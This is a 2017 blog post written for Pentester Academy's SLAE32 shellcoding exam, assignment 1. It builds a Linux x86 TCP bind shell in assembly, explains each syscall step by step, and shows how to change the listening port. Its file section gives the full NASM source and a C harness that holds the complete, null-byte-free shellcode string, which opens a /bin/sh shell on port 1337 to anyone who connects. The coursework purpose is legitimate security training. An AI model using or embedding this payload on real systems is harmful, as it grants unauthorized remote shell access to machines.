Monday, March 6, 2017

SLAE32 Exam - Assignment 1 of 7 (Bind Shell)



This post is the first of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course.  Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

SLAE - 901

Assignment #1: Bind Shell TCP Shellcode
The first assignment is to create a Linux shellcode which:

  • binds to a port via TCP
  • executes a shell on an incoming connection
  • is easily configurable (in regards to the port)

This assignment has three tasks:

Task 1 - Create and test a bind shell script in Assembly
Task 2 - Create and test a bind script shellcode exploit based upon the Assembly script
Task 3 - Show how to modify the port in the shellcode


Task 1 - Create and test a bind shell script in Assembly

Creating the Assembly script

The first task involved creating a bind shell script in Assembly.  

I consulted various Python and C scripts and determined that my script would do the following:

             1.  Create a socket (via socket syscall)
             2.  Bind it to an address/port (via socket syscall)
             3.  Listen for incoming connections (via socket syscall)
             4.  Accept a new connection (via socket syscall)
             5.  Redirect standard input (stdin), standard output (stdout), and standard error 
                  (stderr) (via dup2 syscall)
             6.  Execute a shell (via execve syscall)

1. Create a socket (via socket syscall)

The first sub-task was to create a socket using the socket system call.  


Here is the system syntax that I modeled:


     int socketcall(int call, unsigned long args)

Here is the syntax for the args:

     socket(int domain, int  type, int protocol)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in when I invoked and executed the socket system call (int 0x80):

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (sys_socket)
0x1
1
sys_socket
ebx
unsigned long args
0x2

0x1

0x0 (or 6)

2

1

6
domain - AF_INET;
type - SOCK-STREAM;
protocol - TCP

ecx  
(the three values are previously pushed  on the stack in reverse order, then the memloc of the esp (which   points to top of the stack) is moved to ecx
    
Here is how I coded this sub-task: 



2. Bind it to an address/port (via socket syscall)

The second sub-task was to bind the socket to an address/port using the socket system call.  

Here is the system syntax that I modeled:

     int socketcall(int call, unsigned long args)

Here is the syntax for the args:

     bind(int sockfd,const struct sockaddr addr, socklen_t addrlen)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the bind system call (int 0x80):

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (bind)
0x2
2
sys_bind
ebx
unsigned long args
sockfd

sockaddr
sin_family
sin_port

sin_addr

addrlen


0x7


0x2
0x3905 (little endian);
0x0

0x10

7


2
1337

0

16

sockfd


AF-INET
1337

INADDR_ANY

(ip4 address length) 

edi  (copy from eax at the beginning of section;
ecx  
(the four values will be previously pushed  on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx

Here is how I coded this sub-task:


3. Listen for incoming connection (via socket syscall)

The third sub-task was to listen for an incoming connection using the socket system call.  

Here is the system syntax that I modeled:

     int socketcall(int call, unsigned long *args);

Here is the syntax for the args:

     int listen(int sockfd, int backlog);

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the listen system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (listen)
0x4
4
sys_listen
ebx
unsigned long args
sockfd
backlog


0x7
0x0

7
0

sockfd
none needed
ecx
(the two values will be pushed  on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx

Here is how I coded this sub-task:



4. Accept a new connection (via socket syscall)

The fourth sub-task was to accept a new connection using the socket system call.

Here is the system syntax that I modeled:

     int socketcall(int call, unsigned long *args);

Here is the syntax for the args:

     int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)

Here is a breakdown of the call variables and values, as well as what registers I want the values to be in before I invoke and execute the accept system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (accept)
0x5
5
sys_accept
ebx
unsigned long args
sockfd

addr

addrlen


0x7

0x0

0x0

7

0

0

sockfd

no ip for bind

no length
ecx
(pushed on to stack from the edi);
(pushed on to stack from the esi);
(pushed on to stack from the esi);
(the three values are pushed  on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx

Here is how I coded this sub-task:


5. Redirect standard input (stdin), standard output (stdout), and standard error (stderr) (via dup2 syscall)

The fifth subtask was to redirect the stdinstdout, and stderr using the dup2 system call.

Here is the system syntax that I modeled:

     int dup2(int oldfc, int newfd)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the accept system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int dup2 
0x3f
63
dup2
eax
int oldfc
0x7
7
return from previous socketcall
ebx
int newfd
0x0
0x1
0x2
0
1
2
stdin
stdout
stderr
ecx (via loop)
will start as 2 and execute call, then
decrement to 1 and execute, decrement
to 0 and execute


Here is how I coded this sub-task:



6. Execute a shell (via execve syscall)

The sixth sub-task was to execute a shell via the execve system call.

Here is the system syntax I modeled:

     int execve (const char *filename, char *const argv, char *const envp)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the execve system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int execve
0x0b
11
execve syscall
eax
filename

0x68732f2f
0x6e69622f
(ascii)
hs//
nib/
/bin/sh
ebx
argv
0x0

0

 null
ecx 
envp
0x0
0
 null
edx

Here is how I coded this sub-task:


Here is a link to the entire Assembly script: https://github.com/clubjk/scripts/blob/master/task1f.nasm

Testing the Assembly script

I compiled the Assembly script (.nasm) as follows:


Then I tested the binary...


And it worked.  Yay.


I checked it for "00"s (null bytes are fine for binaries, but fatal for my subsequent shellcode...)

Uh-oh...

Aaaand, I have some "00"'s in my object dump. 

Rookie mistake. I went back into my Assembly script and made the following changes:


 

 Also, on memloc 804808a I pushed the esi (which was 0x0) instead of an immediate value of 0x0).

After correcting my Assembly script I got a shellcode-worthy object dump (free of null bytes):



I recompiled the Assembly script, tested it and it worked.



Task 2 - Create and test a bind script shellcode exploit based upon the Assembly script

This task was to create a shellcode exploit based upon the successful and shellcode-ready Assembly script.

I extracted the shellcode from the Assembly script with a line command I found at 
This command greps/cuts/pastes/sed's the objdump command and outputs just the shellcode that can be copied and pasted.



I copied the shellcode output and pasted it into a standard C-based shellcode script.


I compiled the shellcode.c script with the following command:


Then, I tested it by running the resulting binary (shellcode)



It worked.  Yay.

Task 3 - Show how to modify the port in the shellcode

Below is the shellcode.c script:


The highlighted portion of the shellcode is the port number.
     (1337 is 395 in hex and \x05\x39 in little endian)

To make this script work on, say, port 4444:
     (4444 is 115c in hex and \x5c\x11 in little endian)

I replaced "\05\x39\" with "\x5c\x11" in the shellcode2.c.


After compiling the shellcode2.c, I executed it.



It worked.  Yay.


Summary:
I created a bind port exploit in Assembly. I checked it for null-bytes, corrected it, and retested it.  Next, I used objdump to extract the shellcode from the exploit.  I copied and pasted the shellcode string into a skeleton shellcode.c, compiled it, and successfully tested it.  Then I identified how to modify the port number if needed.

File Section:

Here is the entire Assembly script:

; Author: clubjk

global _start

section .text

_start:

 ;Create a socket with sys_socket
 
 xor eax, eax    ;zeroize the eax
 xor ebx, ebx    ;zeroize the ebx
 
 mov al, 0x66    ;put socketcall syscall value in eax; 102 in decimal

 mov bl, 0x1     ;put sys_socket syscall value in ebx; 1 in decimal

 xor esi, esi    ;zeroize the esi, it will be convenient when we need a 0x0 value
 push esi        ;put 0x00000000 in stack, using esi since it is currently zeroized
 push ebx        ;put 0x00000001 in stack, using ebx since we set it to 0x1
 push 0x2        ;put 0x00000002 in stack, using immediate value of 0x2

 mov ecx, esp    ;pass memory location of esp (start of the stack) to ecx

 int 0x80        ;calling socket system call (102) with sockcall args


 ;Bind socket to an address/port via sys_bind

 
 mov edi, eax ;put the return value from previous syscall (sockfd) in esi for use
 xor eax, eax    ;zeroize the eax
        xor ebx, ebx    ;zeroize the ebx
 xor ecx, ecx    ;zeroize the ecx

 mov al, 0x66   ;put socketcall syscall value in eax; 102 in decimal
 mov bl, 0x2    ;put sys_bind syscall value in ebx, 2 in decimal

 push esi       ;push 0x0 on the stack
 push word 0x3905 ;port 1337 in hex (0x395), then put in little endian 0x3905
 push word bx   ;push 0x2 on the stack
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 push 0x10      ;push the addrlen=16 on the stack
 push ecx       ;push struct sockaddr pointer on the stack
 push edi       ;push the sockfd (7) on the stack
 
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 int 0x80       ;calling socket system call (102) with bind args


 ;Set up listen system call via sys_listen

 xor ebx, ebx   ;zeroize the ebx
 mov al, 0x66   ;put socketcall syscall value in eax; 102 in decimal
 mov bl, 0x4    ;put listen function call (4) in ebx

 push esi       ;push backlog (0) on stack
 push edi       ;push sockfd (7) on stack
 
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 int 0x80       ;calling socket system call (102) with listen args


 ;Accept a new connection with sys_accept

 mov al, 0x66   ;put socketcall syscall value in eax; 102 in decimal
 inc ebx        ;increment ebx from 4 to 5 (accept function call number)
 push esi       ;push addrlen (0) to stack
 push esi       ;push addr (0) to stack
 push edi       ;push sockfd (7) to stack

 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 int 0x80       ;invokes socket sys call with accept args


 ;Redirect standard input (stdin), (stdout), (stderr) (via dup2 syscall)

 xor ecx, ecx   ;zeroize the ecx
 mov cl, 0x2    ;start the counter at 2 (stderr) 
 xchg ebx, eax  ;save the clientfd in ebx
 loop:
  mov al, 0x3f   ;moves the functional call number for dup2 (63) to eax
  int 0x80       ;system call for dup2
  dec ecx        ;decreases ecx by one
  jns loop       ;loop will run until counter is -1 (0xffffffff w SF flag set)
 
 int 0x80       ;invokes the dup2 system call

 ;Execute a shell (via execve syscall)

 xor eax, eax   ;zeroize the eax
 push eax       ;push 0x0 on the stack
 push 0x68732f2f        ;push "hs//" on the stack
 push 0x6e69622f        ;push "nib/" on the stack
 mov ebx, esp           ;move the memory location of the start of stack (esp) to ebx
 push eax       ;push 0x0 on the stack
 mov edx, esp   ;move the memory location of the start of stack (esp) to edx
 push ebx       ;push ebx on the stack
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx
 mov al, 0xb    ;move the execve functional call number (11) to eax
        
 int 0x80       ;invokes the execve system call


Here is the shellcode.c:


#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x02\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xdb\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

printf("Shellcode Length:  %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

No comments:

Post a Comment